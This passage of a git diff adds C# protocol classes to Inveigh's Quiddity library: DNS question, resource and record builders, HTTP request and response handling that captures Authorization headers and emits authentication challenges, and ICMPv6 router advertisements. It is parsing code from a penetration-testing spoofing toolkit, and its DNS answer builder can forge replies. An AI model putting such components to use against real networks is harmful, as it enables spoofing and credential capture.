+ this.QType = new byte[0];
+ this.QClass = new byte[0];
+ }
+
+ public DNSQuestion(byte[] data)
+ {
+ ReadBytes(data, 12);
+ }
+
+ public DNSQuestion(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+ int segmentLength = data[offset];
+ int lengthIndex = offset;
+ int length = segmentLength + 1;
+
+ do
+ {
+ lengthIndex += segmentLength + 1;
+ segmentLength = data[lengthIndex];
+ length += segmentLength + 1;
+ }
+ while (segmentLength != 0);
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.QName = packetReader.ReadBytes(length);
+ this.QType = packetReader.ReadBytes(2);
+ this.QClass = packetReader.ReadBytes(2);
+ }
+
+ this.Name = ConvertName();
+ this.Type = GetType();
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.QName);
+ packetWriter.Write(this.QType);
+ packetWriter.Write(this.QClass);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ protected virtual string ConvertName()
+ {
+ string hostname = "";
+ int hostnameLength = this.QName[0];
+ int index = 0;
+ int i = 0;
+
+ do
+ {
+ int hostnameSegmentLength = hostnameLength;
+ byte[] hostnameSegment = new byte[hostnameSegmentLength];
+ Buffer.BlockCopy(this.QName, (index + 1), hostnameSegment, 0, hostnameSegmentLength);
+ hostname += Encoding.UTF8.GetString(hostnameSegment);
+ index += hostnameLength + 1;
+ hostnameLength = this.QName[index];
+ i++;
+
+ if (hostnameLength > 0)
+ {
+ hostname += ".";
+ }
+
+ }
+ while (hostnameLength != 0 && i <= 127);
+
+ return hostname;
+ }
+
+ protected new virtual string GetType()
+ {
+ string type = "";
+
+ switch (BitConverter.ToString(this.QType))
+ {
+
+ case "00-01":
+ type = "A";
+ break;
+
+ case "00-1C":
+ type = "AAAA";
+ break;
+
+ case "00-05":
+ type = "CNAME";
+ break;
+
+ case "00-27":
+ type = "DNAME";
+ break;
+
+ case "00-0F":
+ type = "MX";
+ break;
+
+ case "00-02":
+ type = "NS";
+ break;
+
+ case "00-0C":
+ type = "PTR";
+ break;
+
+ case "00-06":
+ type = "SOA";
+ break;
+
+ case "00-21":
+ type = "SRV";
+ break;
+
+ case "00-10":
+ type = "TXT";
+ break;
+
+ case "00-FF":
+ type = "ANY";
+ break;
+
+ }
+
+ return type;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSResource.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSResource.cs
new file mode 100644
index 0000000..258a08c
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/DNSResource.cs
@@ -0,0 +1,122 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System.IO;
+using System.Net;
+
+namespace Quiddity.DNS
+{
+
+ class DNSResource
+ {
+
+ // https://tools.ietf.org/html/rfc1035
+ public byte[] Name { get; set; }
+ public byte[] Type { get; set; }
+ public byte[] Class { get; set; }
+ public uint TTL { get; set; }
+ public ushort RDLength{ get; set; }
+ public byte[] RData { get; set; }
+
+ //custom
+ public string Host { get; set; }
+
+ public DNSResource()
+ {
+
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.Name = packetReader.ReadBytes(2);
+ this.Type = packetReader.ReadBytes(2);
+ this.Class = packetReader.ReadBytes(2);
+ this.TTL = packetReader.ReadUInt32();
+ this.RDLength = packetReader.ReadUInt16();
+ this.RData = packetReader.ReadBytes(this.RDLength);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.Name);
+ packetWriter.Write(this.Type);
+ packetWriter.Write(this.Class);
+ packetWriter.BigEndianWrite(this.TTL);
+ packetWriter.BigEndianWrite(this.RDLength);
+ packetWriter.Write(this.RData);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public byte[] GetBytes(DNSQuestion RequestQuestion, uint ttl, string data, byte[] id)
+ {
+ byte[] rdata = IPAddress.Parse(data).GetAddressBytes();
+
+ DNSHeader responseHeader = new DNSHeader
+ {
+ ID = id,
+ QR = true,
+ Opcode = "0000",
+ AA = false,
+ TC = false,
+ RD = false,
+ RA = false,
+ Z = "000",
+ RCode = "0000",
+ QDCount = 1,
+ ANCount = 1
+ };
+
+ this.Name = RequestQuestion.QName;
+ this.Type = RequestQuestion.QType;
+ this.Class = RequestQuestion.QClass;
+ this.TTL = ttl;
+ this.RDLength = (ushort)rdata.Length;
+ this.RData = rdata;
+
+ return Utilities.BlockCopy(responseHeader.GetBytes(), RequestQuestion.GetBytes(), this.GetBytes());
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordA.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordA.cs
new file mode 100644
index 0000000..7d15405
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordA.cs
@@ -0,0 +1,33 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.DNS
+{
+ class DNSRecordA
+ {
+ public byte[] Address { get; set; }
+
+ public DNSRecordA()
+ {
+
+ }
+
+ public DNSRecordA(string address)
+ {
+ this.Address = IPAddress.Parse(address).GetAddressBytes();
+ }
+ public byte[] GetBytes()
+ {
+ return this.Address;
+ }
+
+ public byte[] GetBytes(string address)
+ {
+ return IPAddress.Parse(address).GetAddressBytes();
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordAAAA.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordAAAA.cs
new file mode 100644
index 0000000..ca63c6b
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordAAAA.cs
@@ -0,0 +1,34 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.DNS
+{
+ class DNSRecordAAAA
+ {
+
+ public byte[] Address { get; set; }
+
+ public DNSRecordAAAA()
+ {
+
+ }
+
+ public DNSRecordAAAA(string address)
+ {
+ this.Address = IPAddress.Parse(address).GetAddressBytes();
+ }
+ public byte[] GetBytes()
+ {
+ return this.Address;
+ }
+
+ public byte[] GetBytes(string address)
+ {
+ return IPAddress.Parse(address).GetAddressBytes();
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordSOA.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordSOA.cs
new file mode 100644
index 0000000..3a233ab
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordSOA.cs
@@ -0,0 +1,86 @@
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DNS
+{
+ class DNSRecordSOA
+ {
+ // https://tools.ietf.org/html/rfc1035
+ public byte[] MName { get; set; }
+ public byte[] RName { get; set; }
+ public uint Serial { get; set; }
+ public uint Refresh { get; set; }
+ public uint Retry { get; set; }
+ public uint Expire { get; set; }
+ public uint Minium { get; set; }
+
+ public DNSRecordSOA()
+ {
+ this.Refresh = 900;
+ this.Retry = 600;
+ this.Expire = 86400;
+ this.Minium = 3600;
+ }
+
+ public DNSRecordSOA(uint serial)
+ {
+ this.Serial = serial;
+ this.Refresh = 900;
+ this.Retry = 600;
+ this.Expire = 86400;
+ this.Minium = 3600;
+ }
+
+ public byte[] GetBytes()
+ {
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.MName);
+ packetWriter.Write(this.RName);
+ packetWriter.BigEndianWrite(this.Serial);
+ packetWriter.BigEndianWrite(this.Refresh);
+ packetWriter.BigEndianWrite(this.Retry);
+ packetWriter.BigEndianWrite(this.Expire);
+ packetWriter.BigEndianWrite(this.Minium);
+ return memoryStream.ToArray();
+ }
+ }
+
+ public byte[] GetBytes(string host, ushort index)
+ {
+ index |= (1 << 15);
+ index |= (1 << 14);
+ byte[] indexData = BitConverter.GetBytes(index);
+ Array.Reverse(indexData);
+
+ byte[] hostData = Utilities.GetDNSNameBytes(host, false);
+ //byte[] hostData = Utilities.GetDNSNameBytes(host, true);
+ byte[] hostCompressed = new byte[hostData[0] + 3];
+ Buffer.BlockCopy(hostData, 0, hostCompressed, 0, hostData[0] + 1);
+ Buffer.BlockCopy(indexData, 0, hostCompressed, hostCompressed.Length - 2, 2);
+ byte[] authoritytData = Utilities.GetDNSNameBytes("hostmaster", false);
+ byte[] authorityCompressed = new byte[authoritytData[0] + 3];
+ Buffer.BlockCopy(authoritytData, 0, authorityCompressed, 0, authoritytData[0] + 1);
+ Buffer.BlockCopy(indexData, 0, authorityCompressed, authorityCompressed.Length - 2, 2);
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(Utilities.GetDNSNameBytes(host, true));
+ packetWriter.Write(authorityCompressed);
+ packetWriter.BigEndianWrite(this.Serial);
+ packetWriter.BigEndianWrite(this.Refresh);
+ packetWriter.BigEndianWrite(this.Retry);
+ packetWriter.BigEndianWrite(this.Expire);
+ packetWriter.BigEndianWrite(this.Minium);
+ return memoryStream.ToArray();
+ }
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordSRV.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordSRV.cs
new file mode 100644
index 0000000..391b671
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/DNS/RDATA/DNSRecordSRV.cs
@@ -0,0 +1,42 @@
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DNS
+{
+ class DNSRecordSRV : DNSResource
+ {
+ // https://datatracker.ietf.org/doc/html/rfc2782
+ public byte[] Service { get; set; }
+ public byte[] Proto { get; set; }
+ public ushort Priority { get; set; }
+ public ushort Weight { get; set; }
+ public ushort Port { get; set; }
+ public byte[] Target { get; set; }
+
+ public DNSRecordSRV()
+ {
+ this.Priority = 0;
+ this.Weight = 100;
+ }
+
+ public byte[] GetBytes(string target, ushort port)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.Priority);
+ packetWriter.BigEndianWrite(this.Weight);
+ packetWriter.BigEndianWrite(port);
+ packetWriter.Write(Utilities.GetDNSNameBytes(target, true));
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/GSSAPI/GSSAPIInitSecContext.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/GSSAPI/GSSAPIInitSecContext.cs
new file mode 100644
index 0000000..34c70cb
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/GSSAPI/GSSAPIInitSecContext.cs
@@ -0,0 +1,49 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+namespace Quiddity.GSSAPI
+{
+ class GSSAPIInitSecContext
+ {
+
+ /*
+ https://tools.ietf.org/html/rfc4178#appendix-A
+ */
+ public byte[] OID { get; set; }
+
+ public GSSAPIInitSecContext()
+ {
+ this.OID = new byte[8] { 0x06, 0x06, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x02 } ;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/HTTP/HTTPRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/HTTP/HTTPRequest.cs
new file mode 100644
index 0000000..7423081
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/HTTP/HTTPRequest.cs
@@ -0,0 +1,159 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.HTTP
+{
+ class HTTPRequest
+ {
+ public string Method { get; set; }
+ public string URI { get; set; }
+ public string Version { get; set; }
+ public string Host { get; set; }
+ public string Connection { get; set; }
+ public string UserAgent { get; set; }
+ public string Accept { get; set; }
+ public string AcceptEncoding { get; set; }
+ public string AcceptLanguage { get; set; }
+ public string Authorization { get; set; }
+ public string ProxyAuthorization { get; set; }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ int index = Array.IndexOf<byte>(data, 0x20, 0);
+
+ if (index > -1)
+ {
+ this.Method = Encoding.UTF8.GetString(packetReader.ReadBytes(index));
+ memoryStream.Position++;
+ index = Array.IndexOf<byte>(data, 0x20, (int)memoryStream.Position);
+
+ if (index > -1)
+ {
+ index -= (int)memoryStream.Position;
+ this.URI = Encoding.UTF8.GetString(packetReader.ReadBytes(index));
+ memoryStream.Position++;
+ index = Array.IndexOf<byte>(data, 0x0d, (int)memoryStream.Position);
+
+ if (index > -1)
+ {
+ index -= (int)memoryStream.Position;
+ this.Version = Encoding.UTF8.GetString(packetReader.ReadBytes(index));
+ memoryStream.Position += 2;
+ }
+
+ }
+
+ }
+
+ while (index > -1)
+ {
+ index = Array.IndexOf<byte>(data, 0x20, (int)memoryStream.Position);
+
+ if (index > -1)
+ {
+ index -= (int)memoryStream.Position;
+ string field = Encoding.UTF8.GetString(packetReader.ReadBytes(index));
+ memoryStream.Position++;
+ index = Array.IndexOf<byte>(data, 0x0d, (int)memoryStream.Position);
+ index -= (int)memoryStream.Position;
+
+ if (index > -1)
+ {
+ string value = Encoding.UTF8.GetString(packetReader.ReadBytes(index));
+ GetField(field, value);
+ }
+
+ memoryStream.Position += 2;
+ }
+
+ }
+
+ }
+
+ }
+
+ public void GetField(string field, string value)
+ {
+
+ switch (field.ToUpper())
+ {
+
+ case "HOST:":
+ this.Host = value;
+ break;
+
+ case "CONNECTION:":
+ this.Connection = value;
+ break;
+
+ case "USER-AGENT:":
+ this.UserAgent = value;
+ break;
+
+ case "ACCEPT:":
+ this.Accept = value;
+ break;
+
+ case "ACCEPT-ENCODING:":
+ this.AcceptEncoding = value;
+ break;
+
+ case "ACCEPT-LANGUAGE:":
+ this.AcceptLanguage = value;
+ break;
+
+ case "AUTHORIZATION:":
+ this.Authorization = value;
+ break;
+
+ case "PROXY-AUTHORIZATION:":
+ this.ProxyAuthorization = value;
+ break;
+
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/HTTP/HTTPResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/HTTP/HTTPResponse.cs
new file mode 100644
index 0000000..4ac632d
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/HTTP/HTTPResponse.cs
@@ -0,0 +1,166 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.HTTP
+{
+ class HTTPResponse
+ {
+ public string Version { get; set; }
+ public string StatusCode { get; set; }
+ public string ReasonPhrase { get; set; }
+ public string Server { get; set; }
+ public string Date { get; set; }
+ public string ContentType { get; set; }
+ public string ContentLength { get; set; }
+ public string Connection { get; set; }
+ public string CacheControl { get; set; }
+ public string Allow { get; set; }
+ public string Public { get; set; }
+ public string DAV { get; set; }
+ public string Author { get; set; }
+ public string ProxyAuthenticate { get; set; }
+ public string WWWAuthenticate { get; set; }
+ public byte[] Message { get; set; }
+
+ public byte[] GetBytes()
+ {
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.Message))
+ {
+ this.ContentLength = Convert.ToString(this.Message.Length);
+ }
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.StringWrite(this.Version);
+ packetWriter.Write(new byte[1] { 0x20 });
+ packetWriter.StringWrite(this.StatusCode);
+ packetWriter.Write(new byte[1] { 0x20 });
+ packetWriter.StringWrite(this.ReasonPhrase);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+
+ if (!String.IsNullOrEmpty(this.Connection))
+ {
+ packetWriter.StringWrite("Connection: ");
+ packetWriter.StringWrite(this.Connection);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ if (!String.IsNullOrEmpty(this.Allow))
+ {
+ packetWriter.StringWrite("Allow: ");
+ packetWriter.StringWrite(this.Allow);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ if (!String.IsNullOrEmpty(this.Public))
+ {
+ packetWriter.StringWrite("Public: ");
+ packetWriter.StringWrite(this.Public);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ if (!String.IsNullOrEmpty(this.DAV))
+ {
+ packetWriter.StringWrite("DAV: ");
+ packetWriter.StringWrite(this.DAV);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ if (!String.IsNullOrEmpty(this.Author))
+ {
+ packetWriter.StringWrite("MS-Author-via: ");
+ packetWriter.StringWrite(this.Author);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ if (!String.IsNullOrEmpty(this.Server))
+ {
+ packetWriter.StringWrite("Server: ");
+ packetWriter.StringWrite(this.Server);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ if (!String.IsNullOrEmpty(this.Date))
+ {
+ packetWriter.StringWrite("Date: ");
+ packetWriter.StringWrite(this.Date);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ packetWriter.StringWrite("Content-Length: ");
+ packetWriter.StringWrite(this.ContentLength);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+
+ if (!String.IsNullOrEmpty(this.ProxyAuthenticate))
+ {
+ packetWriter.StringWrite("Proxy-Authenticate: ");
+ packetWriter.StringWrite(this.ProxyAuthenticate);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ if (!String.IsNullOrEmpty(this.WWWAuthenticate))
+ {
+ packetWriter.StringWrite("WWW-Authenticate: ");
+ packetWriter.StringWrite(this.WWWAuthenticate);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ if (!String.IsNullOrEmpty(this.ContentType))
+ {
+ packetWriter.StringWrite("Content-Type: ");
+ packetWriter.StringWrite(this.ContentType);
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+ }
+
+ packetWriter.Write(new byte[2] { 0x0d, 0x0a });
+
+ if (!Utilities.ArrayIsNullOrEmpty(this.Message))
+ {
+ packetWriter.Write(this.Message);
+ }
+
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/ICMPv6RouterAdvertisement.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/ICMPv6RouterAdvertisement.cs
new file mode 100644
index 0000000..fec13c4
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/ICMPv6/ICMPv6RouterAdvertisement.cs
@@ -0,0 +1,107 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.ICMPv6
+{
+ class ICMPv6RouterAdvertisement
+ {
+ // https://datatracker.ietf.org/doc/html/rfc4861#section-4.2
+ public byte Type { get; set; }
+ public byte Code { get; set; }
+ public ushort Checksum { get; set; }
+ public byte CurHopLimit { get; set; }
+ public bool M{ get; set; } // 1 bit
+ public bool O { get; set; } // 1 bit
+ public string Reserved { get; set; } // 6 bits
+ public ushort RouterLifeTime { get; set; }
+ public uint ReachableTime { get; set; }
+ public uint RetransTimer { get; set; }
+ public byte[] Options { get; set; }
+
+ // custom fields
+ public byte Flags { get; set; }
+
+ public ICMPv6RouterAdvertisement()
+ {
+ this.Type = 134;
+ this.Code = 0;
+ this.Checksum = 0;
+ this.Flags = 0;
+ this.RouterLifeTime = 0;
+ this.ReachableTime = 0;
+ this.RetransTimer = 0;
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.Type);
+ packetWriter.Write(this.Code);
+ packetWriter.Write(this.Checksum);
